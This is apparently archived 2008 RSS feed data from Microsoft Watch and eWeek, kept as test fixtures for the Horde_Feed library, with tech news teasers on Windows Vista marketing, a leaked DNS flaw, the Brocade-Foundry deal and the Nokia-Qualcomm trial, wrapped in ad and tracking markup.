border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=fRHXZj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=fRHXZj" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=e7MeSJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=e7MeSJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=zsJN3J"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=zsJN3J" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~4/331014846" height="1" width="1"/> http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~3/331014846/can_there_be_wow_in_vista_marketing.html http://www.microsoft-watch.com/content/marketing/can_there_be_wow_in_vista_marketing.html?kc=MWRSS02129TX1K0000535 Marketing Operating Systems Vista Apple Mac OS X marketing Microsoft operating systems Vista Windows Windows Vista Wed, 09 Jul 2008 14:36:26 -0500 http://www.microsoft-watch.com/content/marketing/can_there_be_wow_in_vista_marketing.html?kc=MWRSS02129TX1K0000535 Stephen, Can You Bring Some Flash to Microsoft? <p><strong>News Commentary.</strong> <a href="http://www.microsoft.com/presspass/exec/elop/default.aspx">Stephen Elop</a> sounds like a team player.<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=b37a3aee5dd4aeaf4097684d5c34fe12" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=b37a3aee5dd4aeaf4097684d5c34fe12" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?a=5qqYwY"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?i=5qqYwY" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=aUi9tJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=aUi9tJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=eSd7Bj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=eSd7Bj" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=YNb4wJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=YNb4wJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=GJ3kfJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=GJ3kfJ" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~4/330913555" height="1" width="1"/> http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~3/330913555/stephen_can_you_bring_some_flash_to_microsoft.html http://www.microsoft-watch.com/content/channel/stephen_can_you_bring_some_flash_to_microsoft.html?kc=MWRSS02129TX1K0000535 Business Applications Channel Desktop & Mobile Messaging & Collaboration channel Microsoft partner partner conference partners Stephen Elop Worldwide Partner conference Wed, 09 Jul 2008 12:00:09 -0500 http://www.microsoft-watch.com/content/channel/stephen_can_you_bring_some_flash_to_microsoft.html?kc=MWRSS02129TX1K0000535 Round About eWEEK, 7-9-08 <strong>News Brief.</strong> My eWEEK colleagues have busted their butts writing Microsoft news and analysis that didn't make Microsoft Watch (there's no time to do everything).<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=52f8ccd3b5c253289fde936063e8ccfe" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=52f8ccd3b5c253289fde936063e8ccfe" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?a=TtfPhV"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?i=TtfPhV" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=kPyBwJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=kPyBwJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=ypSWij"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=ypSWij" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=n1kQxJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=n1kQxJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=7nXyWJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=7nXyWJ" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~4/330802792" height="1" width="1"/> http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~3/330802792/round_about_eweek_7908.html http://www.microsoft-watch.com/content/business_applications/round_about_eweek_7908.html?kc=MWRSS02129TX1K0000535 Advertising & Search Business Applications Channel Desktop & Mobile Messaging & Collaboration Operating Systems Security Server Web Services & Browser Google Microsoft partner partners security Web 2.0 Web services Worldwide Partner Conference Wed, 09 Jul 2008 09:38:42 -0500 http://www.microsoft-watch.com/content/business_applications/round_about_eweek_7908.html?kc=MWRSS02129TX1K0000535 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-rssnewsapps.ziffdavis.com-tech.xml0000664000175000017500000013360012653701626027566 0ustar janjan eWeek - RSS Feeds http://www.eweek.com eWeek - RSS Feeds en-us Tue, 22 Jul 2008 11:49:33 -0400 Tue, 22 Jul 2008 11:49:33 -0400 DNS Flaw Details Leaked Accidentally Tue, 22 Jul 2008 02:23:48 -0400 http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~3/342282942/ Technical details of a flaw in the Domain Name System that made headlines earlier this month were accidentally posted to a well-read security blog Monday.<br/> - Details of the Domain Name System (DNS) flaw uncovered by security researcher Dan Kaminsky have found their way into the public arena. Kaminsky, who is the director of penetration testing for the security firm IOActive, had planned on keeping the specifics of his discovery close to his vest until t...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=90bb100beb9281a5f9ab48b18f0bfc06" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=90bb100beb9281a5f9ab48b18f0bfc06" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?a=XSXog3"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?i=XSXog3" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=Cz4wkJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=Cz4wkJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=bHLBuj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=bHLBuj" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=062eyJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=062eyJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=UA7E5J"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=UA7E5J" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=hQpP1J"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=hQpP1J" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=E06j8J"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=E06j8J" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=EyB0fj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=EyB0fj" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~4/342282942" height="1" width="1"/> http://www.eweek.com/c/a/Security/DNS-Flaw-Details-Leaked-Accidentally/?kc=rss http://www.eweek.com/c/a/Security/DNS-Flaw-Details-Leaked-Accidentally/?kc=rss Coghead Combats Competitors with Pricing Changes Tue, 22 Jul 2008 00:26:49 -0400 http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~3/342204808/ As an alternative to its pay-per-user pricing model, Coghead jumps into the utility pricing game by offering its platform as a service software for $50 per two access points. The pricing change could help the company keep up with Salesforce.com, Bungee and Google.<br/> - Coghead, one of the handful of fledgling software makers letting programmers write and deploy business applications via the Internet, is taking a cue from rivals and customers in offering users the option to use computing power by the drink. The PAAS (platform as a service) startup, which attract...<br style="clear: both;"/> <a href="http://www.pheedo.com/click.phdo?s=2a23332c099310ef4377e60a7edbb5ab"><img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=2a23332c099310ef4377e60a7edbb5ab"/></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=2a23332c099310ef4377e60a7edbb5ab" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?a=GhsvdP"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?i=GhsvdP" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=m0GXeJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=m0GXeJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=SsONZj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=SsONZj" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=bPiFRJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=bPiFRJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=hmdQYJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=hmdQYJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=uucBGJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=uucBGJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=Wo4ULJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=Wo4ULJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=yOmWpj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=yOmWpj" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~4/342204808" height="1" width="1"/> http://www.eweek.com/c/a/Application-Development/Coghead-Adds-New-Pricing-to-Fight-Salesforcecom-Google/?kc=rss http://www.eweek.com/c/a/Application-Development/Coghead-Adds-New-Pricing-to-Fight-Salesforcecom-Google/?kc=rss SAP to End TomorrowNow Application Support Operations Mon, 21 Jul 2008 21:33:01 -0400 http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~3/342090204/ SAP says it will shut down the remaining TomorrowNow application support services by Oct. 31. Current TomorrowNow customers will transition to other third-party support services or to Oracle.<br/> - SAP is going to kill off its ill-fated TomorrowNow acquisition by winding down its remaining application support operations by the end of October. SAP is locked in a bruising legal battle with Oracle, which claims that TomorrowNow illegally downloaded copyrighted Oracle product support docume...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=b6324f57d9d11d96de5da083d621a720" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=b6324f57d9d11d96de5da083d621a720" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?a=qhAakw"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?i=qhAakw" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=zRSg0J"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=zRSg0J" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=FqAk3j"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=FqAk3j" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=csxvYJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=csxvYJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=PU78zJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=PU78zJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=bU2tIJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=bU2tIJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=LLEg5J"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=LLEg5J" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=aMQvzj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=aMQvzj" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~4/342090204" height="1" width="1"/> http://www.eweek.com/c/a/Enterprise-Apps/SAP-to-End-TomorrowNow-Application-Support-Operations/?kc=rss http://www.eweek.com/c/a/Enterprise-Apps/SAP-to-End-TomorrowNow-Application-Support-Operations/?kc=rss AMD Will Pass on 'Netbooks' for Now Mon, 21 Jul 2008 20:09:24 -0400 http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~3/342026013/ AMD Chief Marketing Officer Nigel Dessau says AMD will pass on the low-cost notebook or netbook market for now, although Web sites are offering interesting details about a low-cost AMD notebook chip. Dessau is also looking to strengthen AMD's Opteron brand after problems with the quad-core version of the processor.<br/> - Advanced Micro Devices is taking a pass on the low-cost notebook market for now, but new marketing chief Nigel Dessau says the chip maker will continue to watch the so-called quot;netbook quot; space as it continues to develop. Dessau, who took over as AMD's senior vice president and chief m...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=900678c1b428b43fdbc4c40fc6cf1018" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=900678c1b428b43fdbc4c40fc6cf1018" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?a=g7hh7c"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?i=g7hh7c" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=iZjQ0J"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=iZjQ0J" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=ao2QMj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=ao2QMj" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=zu46RJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=zu46RJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=Qoa8nJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=Qoa8nJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=ZJHeKJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=ZJHeKJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=CHBgOJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=CHBgOJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=Oh4qpj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=Oh4qpj" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~4/342026013" height="1" width="1"/> http://www.eweek.com/c/a/Desktops-and-Notebooks/AMD-Will-Pass-on-Netbooks-For-Now/?kc=rss http://www.eweek.com/c/a/Desktops-and-Notebooks/AMD-Will-Pass-on-Netbooks-For-Now/?kc=rss Brocade-Foundry Networks Buyout Challenges Cisco Mon, 21 Jul 2008 18:38:30 -0400 http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~3/341964273/ Brocade's $3 billion buyout of Foundry Networks puts networking market leader Cisco Systems on notice that it has a powerful new competitor on the horizon.<br/> - Brocade Communications Systems took a major step toward leveling the networking playing field against market superpower Cisco Systems July 21 by acquiring Internet router and switch maker Foundry Networks for about $3 billion in cash. Many enterprises need to bolster their infrastructures to sup...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=2745dc44c3b18086957dd3702d9bd4c3" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=2745dc44c3b18086957dd3702d9bd4c3" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?a=iIEb5g"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?i=iIEb5g" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=RmgpwJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=RmgpwJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=eiQ7rj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=eiQ7rj" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=hvfTtJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=hvfTtJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=ZpGSUJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=ZpGSUJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=4YaDzJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=4YaDzJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=ETF5VJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=ETF5VJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=p7hemj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=p7hemj" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~4/341964273" height="1" width="1"/> http://www.eweek.com/c/a/Networking/Brocade-Acquires-Foundry-Networks/?kc=rss http://www.eweek.com/c/a/Networking/Brocade-Acquires-Foundry-Networks/?kc=rss Big Storage 'Clouds' Much Less Manageable Mon, 21 Jul 2008 16:27:03 -0400 http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~3/341867092/ Scaling up a cloud storage service is hard to do. As an alternative, enterprises can look for smaller storage service providers or even build their own custom clouds.<br/> - People are talking about the Amazon S3 fiasco of the evening of July 20 and what the long- and short-term implications of this breakdown might be for this popular storage service. Amazon.com's Amazon Simple Storage Service was beset by unexplained outages for anywhere from 2 to 6 hours Sunda...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=e49562ff3996261592f432e05eee90b1" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=e49562ff3996261592f432e05eee90b1" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?a=3EYmD2"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?i=3EYmD2" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=kjJWYJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=kjJWYJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=LPUCVj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=LPUCVj" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=iaj3lJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=iaj3lJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=XVQ4nJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=XVQ4nJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=ANYGeJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=ANYGeJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=uHJm3J"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=uHJm3J" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=DshzPj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=DshzPj" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~4/341867092" height="1" width="1"/> http://www.eweek.com/c/a/Storage/Big-Clouds-Much-Less-Manageable/?kc=rss http://www.eweek.com/c/a/Storage/Big-Clouds-Much-Less-Manageable/?kc=rss The Latest in Cloud Computing Mon, 21 Jul 2008 15:35:39 -0400 http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~3/341833450/ Cloud computing - the latest handle attached to the idea of hosted Web services used by consumers and businesses - is beginning to get considerable traction now that there are more companies offering services online. Consumers have always bought books and music, auctioned off unneeded items, or found jobs and home using services running on the Internet. But now they're storing personal files, meeting future mates and running entire businesses using services to which they can subscribe. This all means that people and enterprises don't have to set up their own IT systems anymore to get work done.<br/> - Video Content....<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=996bffdb9095c3544a508b69ad042824" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=996bffdb9095c3544a508b69ad042824" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?a=EoKPiG"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?i=EoKPiG" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=SrY8aJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=SrY8aJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=5WLAMj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=5WLAMj" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=Sv99GJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=Sv99GJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=Ov4r7J"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=Ov4r7J" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=OFTqXJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=OFTqXJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=gq4NPJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=gq4NPJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=B4vrGj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=B4vrGj" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~4/341833450" height="1" width="1"/> http://www.eweek.com/c/a/Video/The-Latest-in-Cloud-Computing/?kc=rss http://www.eweek.com/c/a/Video/The-Latest-in-Cloud-Computing/?kc=rss FACTBOX: Nokia, Qualcomm Trial Mon, 21 Jul 2008 15:11:20 -0400 http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~3/341817735/ A key court case in a long-winding patent dispute between the world's top cell phone maker Nokia and U.S. technology company Qualcomm starts July 23 in a Delaware courtroom.<br/> - HELSINKI, July 21 (Reuters) A key court case in a long-winding patent dispute between the world's top cell-phone maker Nokia and U.S. technology company Qualcomm starts in a Delaware court on Wednesday. Nokia filed the case in August 2006, saying Qualcomm had breached its contract to license ...<br style="clear: both;"/> <a href="http://www.pheedo.com/click.phdo?s=35b70534661f5cba8d5ee5c099145e36"><img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=35b70534661f5cba8d5ee5c099145e36"/></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=35b70534661f5cba8d5ee5c099145e36" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?a=vmuSm8"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?i=vmuSm8" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=E40GAJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=E40GAJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=VxveKj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=VxveKj" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=RpmbzJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=RpmbzJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=FJ0ewJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=FJ0ewJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=OFDEYJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=OFDEYJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=InHSUJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=InHSUJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=rc0VPj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=rc0VPj" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~4/341817735" height="1" width="1"/> http://www.eweek.com/c/a/Mobile-and-Wireless/FACTBOX-Nokia-Qualcomm-Trial/?kc=rss http://www.eweek.com/c/a/Mobile-and-Wireless/FACTBOX-Nokia-Qualcomm-Trial/?kc=rss Nokia, Qualcomm Licensing Trial Begins Mon, 21 Jul 2008 15:08:10 -0400 http://feeds.ziffdavisenterprise.com/~r/RSS/tech/~3/341809043/ Nokia, the world's largest cell phone maker, and wireless chip supplier Qualcomm go to court July 23 in hopes of resolving a licensing fight that involves hundreds of millions of dollars and has spawned lawsuits on three continents. Qualcomm's case against Nokia is based on a 1992 licensing agreement that allowed Nokia to use Qualcomm's patents in its phones. That license expired in 2007, after Nokia paid Qualcomm $1 billion in fees and considered it to be paid up. Qualcomm disagreed and is seeking payment.<br/> - WASHINGTON (Reuters) Nokia, the world's largest cell-phone maker, and wireless chip supplier Qualcomm go to court on Wednesday in hopes of resolving a licensing fight that involves hundreds of millions of dollars and has spawned lawsuits on three continents. The case is based on a 1992 licensing ...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=efae0c4bd570347e08b96f2e485c306f" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=efae0c4bd570347e08b96f2e485c306f" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?a=jstVIG"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/tech?i=jstVIG" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=CEiqeJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=CEiqeJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=9uQCYj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=9uQCYj" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=q9o4zJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=q9o4zJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=4SgouJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=4SgouJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=egilLJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?i=egilLJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/tech?a=cShwDJ"><img 